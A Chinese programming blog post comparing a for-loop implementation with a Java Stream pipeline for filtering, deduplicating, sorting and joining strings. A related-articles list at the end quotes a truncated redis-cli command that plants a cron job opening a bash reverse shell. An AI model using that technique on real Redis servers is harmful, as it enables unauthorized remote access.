Stream替代for-编码五分钟-划水五小时

    天空没有痕迹,风雨已在心中。

背景:使用Stream 流式操作取代俄罗斯式套娃的for循环解放底层劳动密集型码畜的双手,使编码五分钟划水五小时,不再是梦!

一、Stream替代for例子

给定一个字符串元素列表,里面有数字型字符串、有字母型字符串,字符串里有大写、小写,字符串长度也有长有短;现在要通过代码完成一个功能:

找出所有长度 >=5 的字符串、并且忽略大小写、去除重复字符串、然后按照字母排序、最后用“”连成一个字符串输出。

使用for循环实现:

 package com.tjt.jvm;

 import java.util.Arrays;
import java.util.List;
import java.util.Set;
import java.util.TreeSet; public class This4String { public static void main(String[] args) {
List<String> list = Arrays.asList("5", "2", "courage", "love", "kindness", "0", "care",
"RESPECT", "courage", "99", "HONEST", "8");
// 使用Set 的去重功能定义一个具备字母排序能力的容器
Set<String> sortSet = new TreeSet<>(String::compareTo); // 按照字母排序 // for循环完成元素去重、大小写转换和长度判断:for循环1
for (int i = 0; i < list.size(); i++) {
String str = list.get(i);
if (!isNum(str) && str.length() >= 5) {
// 转小写
String lowerAlpha = str.toLowerCase();
sortSet.add(lowerAlpha);
}
} StringBuffer sb = new StringBuffer();
// for循环完成连词成句:for循环1
for (String temp : sortSet) {
sb.append(temp);
sb.append("");
}
String result = sb.substring(0, sb.length() - 1);
System.out.println("result is: " + result); } /**
* 判断输入字符串是字母还是数字
*
* @param str
* @return if number return false
*/
public static Boolean isNum(String str) {
for (int i = 0; i < str.length(); i++) {
if (!Character.isDigit(str.charAt(i))) {
return false;
}
}
return true;
} }

使用Stream 流实现:

 package com.tjt.jvm;

 import java.util.Arrays;
import java.util.Comparator;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.Stream; public class This4For { public static void main(String[] args) {
List<String> list = Arrays.asList("5", "2", "courage", "love", "kindness", "0", "care",
"RESPECT", "courage", "99", "HONEST", "8");
Stream<String> stream = list.stream(); // list转Stream 流
String result = stream.filter(i -> !isNum(i)) // 过滤得到字母类型
.filter(i -> i.length() >= 5) // 过滤长度 >=5 的字符串
.map(i -> i.toLowerCase()) // 转小写
.distinct() // 去重
.sorted(Comparator.naturalOrder()) // 字符串排序
.collect(Collectors.joining("")); // 连接
System.out.println(result); } /**
* 判断输入字符串是字母还是数字
*
* @param str
* @return
*/
public static Boolean isNum(String str) {
for (int i = 0; i < str.length(); i++) {
if (!Character.isDigit(str.charAt(i))) {
return false;
}
}
return true;
} }

最后在执行速度上也没什么擦别,简单测试了一哈~截图为证~74ms

执行速度对比截图

                 天空没有痕迹

                风雨已在心中

Stream替代for-编码五分钟-划水五小时的更多相关文章

  1. 《sed的流艺术之一》-linux命令五分钟系列之二十一

    本原创文章属于<Linux大棚>博客,博客地址为http://roclinux.cn.文章作者为rocrocket. 为了防止某些网站的恶性转载,特在每篇文章前加入此信息,还望读者体谅. ...

  2. Org-mode五分钟教程ZZZ

    Table of Contents 1 源起 2 简介 2.1 获取 org-mode 2.2 安装 3 基础用法 3.1 创建一个新文件 3.2 简单的任务列表 3.3 使用标题组织一篇文章 3.4 ...

  3. 用五分钟重温委托,匿名方法,Lambda,泛型委托,表达式树

    这些对老一代的程序员都是老生常谈的东西,没什么新意,对新生代的程序员却充满着魅力.曾经新生代,好多都经过漫长的学习,理解,实践才能掌握委托,表达式树这些应用.今天我尝试用简单的方法叙述一下,让大家在五 ...

  4. [分享] 史上最简单的封装教程,五分钟学会封装系统(以封装Windows 7为例)

    [分享] 史上最简单的封装教程,五分钟学会封装系统(以封装Windows 7为例) 踏雁寻花 发表于 2015-8-23 23:31:28 https://www.itsk.com/thread-35 ...

  5. JVM内存管理------GC算法精解(五分钟让你彻底明白标记/清除算法)

    相信不少猿友看到标题就认为LZ是标题党了,不过既然您已经被LZ忽悠进来了,那就好好的享受一顿算法大餐吧.不过LZ丑话说前面哦,这篇文章应该能让各位彻底理解标记/清除算法,不过倘若各位猿友不能在五分钟内 ...

  6. 转帖:用五分钟重温委托,匿名方法,Lambda,泛型委托,表达式树

    用五分钟重温委托,匿名方法,Lambda,泛型委托,表达式树 这些对老一代的程序员都是老生常谈的东西,没什么新意,对新生代的程序员却充满着魅力.曾经新生代,好多都经过漫长的学习,理解,实践才能掌握委托 ...

  7. 《sort帮你排序》-linux命令五分钟系列之二十六

    本原创文章属于<Linux大棚>博客,博客地址为http://roclinux.cn.文章作者为rocrocket. 为了防止某些网站的恶性转载,特在每篇文章前加入此信息,还望读者体谅. ...

  8. 《sed的流艺术之四》-linux命令五分钟系列之二十四

    本原创文章属于<Linux大棚>博客,博客地址为http://roclinux.cn.文章作者为rocrocket. 为了防止某些网站的恶性转载,特在每篇文章前加入此信息,还望读者体谅. ...

  9. 《sed的流艺术之三》-linux命令五分钟系列之二十三

    本原创文章属于<Linux大棚>博客,博客地址为http://roclinux.cn.文章作者为rocrocket. 为了防止某些网站的恶性转载,特在每篇文章前加入此信息,还望读者体谅. ...

随机推荐

  1. [设计模式](转)Java中的24种设计模式与7大原则

    *:first-child { margin-top: 0 !important; } body > *:last-child { margin-bottom: 0 !important; } ...

  2. Druid数据库连接池的使用

    Druid  阿里提供的数据库连接池,集以上连接池优点于一身,开发使用此连接池 使用配置文件方式获取Druid数据库连接池 TestDruid package com.aff.connection; ...

  3. redis未授权漏洞和主从复制rce漏洞利用

    未授权无需认证访问内部数据库. 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /de ...

  4. Bitwarden_rs搭建

    最近LastPass网络极其不稳定,正好闲下来找到了Bitwarden_rs这个替代品,感觉不错,分享记录下部署过程. 一.Docker方式部署 #获取镜像 docker pull bitwarden ...

  5. Beta冲刺 —— 6.1

    这个作业属于哪个课程 软件工程 这个作业要求在哪里 Beta冲刺 这个作业的目标 Beta冲刺 作业正文 正文 github链接 项目地址 其他参考文献 无 一.会议内容 1.讨论并解决每个人存在的问 ...

  6. Rocket - debug - DMI

    https://mp.weixin.qq.com/s/70BoeS7z4aBZK24zxdZzXA 简单介绍DMI的实现. 1. DMIConsts 定义DMI使用的常量: 其中: a. dmiDat ...

  7. Maven本地仓库/中央仓库(阿里镜像)/JDK配置

    第一步打开你已经下载好的Maven,进入:根磁盘:\......\apache-maven-3.6.2\conf文件夹找到settings.xml文件(没有的可以自行创建一个同名的文件即可) 使用文本 ...

  8. Java 蓝桥杯 算法训练 貌似化学

    ** 貌似化学 ** 问题描述 现在有a,b,c三种原料,如果他们按x:y:z混合,就能产生一种神奇的物品d. 当然不一定只产生一份d,但a,b,c的最简比一定是x:y:z 现在给你3种可供选择的物品 ...

  9. Java实现 蓝桥杯 算法训练 天数计算

    试题 算法训练 天数计算 问题描述 编写函数求某年某月某日(**** ** **)是这一年的第几天 .提示:要考虑闰年,闰年的2月是29天(闰年的条件:是4的倍数但不是100的倍数,或者是400的倍数 ...

  10. Java实现 LeetCode 637 二叉树的层平均值(遍历树)

    637. 二叉树的层平均值 给定一个非空二叉树, 返回一个由每层节点平均值组成的数组. 示例 1: 输入: 3 / \ 9 20 / \ 15 7 输出: [3, 14.5, 11] 解释: 第0层的 ...